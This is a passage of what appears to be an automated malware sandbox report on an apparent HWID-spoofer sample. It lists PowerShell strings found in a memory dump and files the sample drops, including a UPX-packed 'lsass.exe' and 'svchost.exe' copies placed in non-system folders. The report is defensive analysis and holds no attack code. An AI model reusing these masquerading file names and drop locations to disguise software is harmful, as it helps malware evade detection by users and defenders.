"msedgeupdateres_el.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "msedgeupdateres_ml.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE53:T712,Found string "Add-Content" (Indicator: "Add-Content"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Import-Alias" (Indicator: "Import-Alias"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Import-Csv" (Indicator: "Import-Csv"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "New-Alias" (Indicator: "New-Alias"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "New-PSDrive" (Indicator: "New-PSDrive"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "New-Variable" (Indicator: "New-Variable"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "New-Module" (Indicator: "New-Module"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Add-PSSnapIn" (Indicator: "Add-PSSnapIn"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Add-History" (Indicator: "Add-History"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "New-ModuleManifest" (Indicator: "New-ModuleManifest"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "New-PSRoleCapabilityFile" (Indicator: "New-PSRoleCapabilityFile"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "New-PSTransportOption" (Indicator: "New-PSTransportOption"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Register-ArgumentCompleter" (Indicator: "Register-ArgumentCompleter"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Add-PSSnapin" (Indicator: "Add-PSSnapIn"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp")54:T67d1,"lsass.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%PROGRAMFILES%\(x86)\Windows Multimedia Platform\lsass.exe]- [targetUID: 00000000-00004952] "msedgeupdate.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 6 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdate.dll]- [targetUID: 00000000-00005096] "svchost.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- Location: [%APPDATA%\SystemData\svchost.exe]- [targetUID: 00000000-00004648] "svchost.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [%TEMP%\svchost.exe]- [targetUID: 00000000-00004648] "MicrosoftEdgeWebview2Setup.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%TEMP%\MicrosoftEdgeWebview2Setup.exe]- [targetUID: 00000000-00007060] "psuser_64.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\psuser_64.dll]- [targetUID: 00000000-00007060] "psmachine_64.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\psmachine_64.dll]- [targetUID: 00000000-00006152] "psmachine_arm64.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) ARM64 8 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\psmachine_arm64.dll]- [targetUID: 00000000-00007060] "psuser_arm64.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) ARM64 8 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\psuser_arm64.dll]- [targetUID: 00000000-00007060] "psmachine.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 7 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\psmachine.dll]- [targetUID: 00000000-00005096] "psuser.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 7 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\psuser.dll]- [targetUID: 00000000-00007060] "MicrosoftEdgeUpdateCore.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateCore.exe]- [targetUID: 00000000-00007060] "MicrosoftEdgeUpdateComRegisterShell64.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 8 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe]- [targetUID: 00000000-00006152] "MicrosoftEdgeUpdate.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe]- [targetUID: 00000000-00005096] "MicrosoftEdgeComRegisterShellARM64.exe" has type "PE32+ executable for MS Windows 10.00 (GUI) ARM64 7 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeComRegisterShellARM64.exe]- [targetUID: 00000000-00007060] "RPZ-HWID.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.exe]- [targetUID: 00000000-00007748] "MicrosoftEdgeUpdateBroker.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateBroker.exe]- [targetUID: 00000000-00007060] "MicrosoftEdgeUpdateOnDemand.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateOnDemand.exe]- [targetUID: 00000000-00007060] "RPZ-HWID.dll" has type "PE32 executable for MS Windows 4.00 (console) Intel i386 Mono/.Net assembly 3 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.dll]- [targetUID: 00000000-00007748] "msedgeupdateres_el.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_el.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ml.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ml.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_de.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_de.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_it.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_it.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_fr.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_fr.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ca-Es-VALENCIA.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ca-Es-VALENCIA.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_lb.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_lb.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_nl.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_nl.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_gd.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_gd.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_fr-CA.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_fr-CA.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ca.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ca.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_pl.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_pl.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ro.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ro.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_es-419.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_es-419.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_kn.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_kn.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_sr.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sr.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_bg.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_bg.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_af.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_af.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_fil.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_fil.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_sl.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sl.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_az.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_az.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_or.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_or.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_bn-IN.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_bn-IN.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_mt.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_mt.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ka.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ka.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_bn.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_bn.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_sr-Cyrl-BA.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sr-Cyrl-BA.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_hr.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_hr.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_mk.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_mk.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_hu.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_hu.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_te.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_te.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_sr-Cyrl-RS.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sr-Cyrl-RS.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_lv.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_lv.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_pt-BR.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_pt-BR.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_sv.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sv.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_bs.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_bs.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ta.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ta.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_eu.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_eu.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ne.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ne.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_sr-Latn-RS.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sr-Latn-RS.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_as.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_as.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_hi.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_hi.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_da.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_da.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_pa.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_pa.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_gl.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_gl.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ur.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ur.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_pt-PT.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_pt-PT.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_gu.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_gu.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_es.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_es.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ga.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ga.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_uk.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_uk.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_nn.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_nn.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_lt.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_lt.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ms.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ms.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_tt.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_tt.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_fi.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_fi.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_et.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_et.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_cy.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_cy.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_mr.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_mr.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_sk.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sk.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_kok.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_kok.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_nb.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_nb.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_is.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_is.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_kk.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_kk.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_cs.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_cs.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_mi.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_mi.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_tr.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_tr.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_quz.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_quz.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_vi.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_vi.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ru.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ru.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_sq.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_sq.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_id.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_id.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_fa.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_fa.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_th.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_th.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_km.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_km.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_en-GB.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_en-GB.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_en.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_en.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_lo.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_lo.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ug.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ug.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ar.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ar.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_iw.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_iw.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ja.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ja.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_am.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_am.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_ko.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ko.dll]- [targetUID: 00000000-00007060] "CopilotUpdate.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\CopilotUpdate.exe]- [targetUID: 00000000-00007060] "msedgeupdateres_zh-CN.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_zh-CN.dll]- [targetUID: 00000000-00007060] "msedgeupdateres_zh-TW.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_zh-TW.dll]- [targetUID: 00000000-00007060] "powershell.exe.log" has type "Unknown"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log]- [targetUID: 00000000-00002136] "conhost.exe.log" has type "Unknown"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\conhost.exe.log]- [targetUID: 00000000-00004224] "SexsoldierSpoofer.exe.log" has type "Unknown"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\SexsoldierSpoofer.exe.log]- [targetUID: 00000000-00004648] "MicrosoftEdgeUpdate.log" has type "Unknown"- Location: [%ALLUSERSPROFILE%\Microsoft\EdgeUpdate\Log\MicrosoftEdgeUpdate.log]- [targetUID: 00000000-00006152] "ModuleAnalysisCache" has type "Unknown"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00002136] "StartupProfileData-Interactive" has type "Unknown"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-Interactive]- [targetUID: 00000000-00002136] "RPZ-HWID.pdb" has type "Unknown"- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\59eef78126d8\RPZ-HWID.pdb]- [targetUID: 00000000-00004648] "autolauncher_log.txt" has type "Unknown"- Location: [%TEMP%\autolauncher_log.txt]- [targetUID: 00000000-00003232] "RPZ-HWID.deps.json" has 